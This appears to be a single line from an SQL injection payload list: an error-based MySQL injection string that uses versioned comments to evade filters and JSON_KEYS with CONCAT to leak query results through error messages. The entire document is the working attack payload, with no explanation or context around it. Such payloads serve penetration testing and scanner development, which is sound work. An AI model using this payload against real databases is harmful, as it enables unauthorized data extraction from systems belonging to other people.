1) WHERE 9828=9828,(/*!50000SELECT*/4509/*!50000FROM*/(/*!50000SELECT*/JSON_KEYS((/*!50000SELECT*//*!50000CONVERT*/((/*!50000SELECT*//*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(4509=4509,1))),%27~%27))/**/USING/**/utf8))))x)-- -